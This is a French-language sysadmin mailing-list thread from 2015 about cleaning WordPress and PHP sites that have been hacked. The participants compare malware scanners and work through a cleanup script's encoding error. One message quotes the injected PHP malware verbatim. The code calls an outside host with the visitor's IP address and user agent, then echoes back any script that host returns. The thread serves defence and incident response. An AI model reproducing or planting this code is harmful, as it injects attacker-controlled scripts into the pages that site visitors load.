UTF8 -> latin_1 ca fonctionne mieux.
Le 03/06/2015 12:40, Pierre a écrit : > Yes c’était fait, > En soit le hacker ne pouvait pas vraiment utiliser les scripts. > > Mais il faut nettoyer. > > Après une longe matinée de recherche j'ai trouvé ce script : > > https://www.ask-sheldon.com/find-and-replace-malware-code-blocks-in-php-files-via-shell/ > > Mais j'ai un problème d'encodage UTF8 et j'avoue que je ne m'y connais > pas grand chose en python > > Voici l'erreur que cela fait quand il trouvé un fichier infecté : > > HIT > Traceback (most recent call last): > File "./remove.py", line 38, in <module> > replaceStringInFile(os.path.join(directory, filename)) > File "./remove.py", line 19, in replaceStringInFile > fContent = unicode(inputFile.read(), "utf-8") > UnicodeDecodeError: 'utf8' codec can't decode byte 0xe9 in position 255: > invalid continuation byte > > > Merci > > Pierre > > > En soit le pi > Le 03/06/2015 12:02, Guillaume Tournat a écrit : >> Fait déjà commencer par désactiver certaines fonctionnalités dangereuses >> dans php (disabled_functions dans php.ini) >> >> Ensuite bloquer les requêtes http sortantes du serveur avec iptables. >> >> >> >>> Le 3 juin 2015 à 11:23, Pierre <pie...@infoserver4u.fr> a écrit : >>> >>> Hello, >>> >>> Je me permet de relancer la discutions car j'ai presque le même problème >>> avec un client. >>> >>> Sauf que le code change sur presque tout les fichiers. >>> >>> Voici un exemple de code : >>> >>> <?php >>> #568ba2# >>> error_reporting(0); @ini_set('display_errors',0); $wp_f67188 = >>> @$_SERVER['HTTP_USER_AGENT']; if (( preg_match ('/Gecko|MSIE/i', >>> $wp_f67188) && !preg_match ('/bot/i', $wp_f67188))){^M >>> $wp_f0967188="http://"."theme"."header".".com/"."header"."/?ip=".$_SERVER['REMOTE_ADDR']."&referer=".urlencode($_SERVER['HTTP_HOST'])."&ua=".urlencode($wp_f67188);^M >>> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = >>> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt >>> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M >>> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif >>> (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) >>> {$wp_67188f = @file_get_contents($wp_f0967188);}^M >>> elseif (function_exists('fopen') && >>> function_exists('stream_get_contents')) >>> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M >>> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } >>> #458ba2# >>> ?> >>> Ou encore >>> >>> <?php >>> #5a9312# >>> >>> >>> if (function_exists('curl_init') && function_exists('curl_exec')) {$ch = >>> curl_init(); curl_setopt ($ch, CURLOPT_URL,$wp_f0967188); curl_setopt >>> ($ch, CURLOPT_TIMEOUT, 20); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);^M >>> $wp_67188f = curl_exec ($ch); curl_close($ch);} elseif >>> (function_exists('file_get_contents') && @ini_get('allow_url_fopen')) >>> {$wp_67188f = @file_get_contents($wp_f0967188);}^M >>> elseif (function_exists('fopen') && >>> function_exists('stream_get_contents')) >>> {$wp_67188f=@stream_get_contents(@fopen($wp_f0967188, "r"));}}^M >>> if (substr($wp_67188f,1,3) === 'scr'){ echo $wp_67188f; } >>> #/5a9312# >>> ?> >>> >>> >>> J'ai essayé beaucoup de sed et xargs, mais le code est trop complexe >>> pour arrive a faire un truc propre. >>> >>> find . -type f -name "*.php" -print | xargs sed -i.hacked 's/^<?php n#*# >>> *?>//g' >>> >>> Le seul point commun est un début <?php saute de ligne puis un # et en >>> fin un autre # saute de ligne ?> >>> >>> J’essaie d'utiliser https://github.com/planet-work/php-malware-scanner >>> >>> Mais cela ne semble mal fonctionner avec mon problème. >>> >>> Auriez vous une idée ? >>> >>> Merci >>> >>> Pierre >>> >>> >>> Le 20/05/2015 16:09, Julien Escario a écrit : >>>> Le 20/05/2015 07:14, Jonathan Leroy a écrit : >>>>> J'ai eu une demande de "nettoyage" de sites WordPress ayant été hackés >>>>> hier. >>>>> >>>>> J'en ai donc profité pour tester tous vos outils sur un des sites. >>>> >>>>> Le grand gagnant est php-malware-scanner de Frédéric, qui détecte deux >>>>> fichiers de plus que Sucuri (mais en laisse passer un autre). >>>>> J'ai mis un tableau comparatif en PJ pour ceux que ça intéresse :) >>>> >>>> Nice job ! >>>> >>>> Merci du retour. >>>> Julien >>>> >>>> >>>> >>>> _______________________________________________ >>>> Liste de diffusion du FRsAG >>>> http://www.frsag.org/ >>> >>> _______________________________________________ >>> Liste de diffusion du FRsAG >>> http://www.frsag.org/ > > _______________________________________________ > Liste de diffusion du FRsAG > http://www.frsag.org/ > _______________________________________________ Liste de diffusion du FRsAG http://www.frsag.org/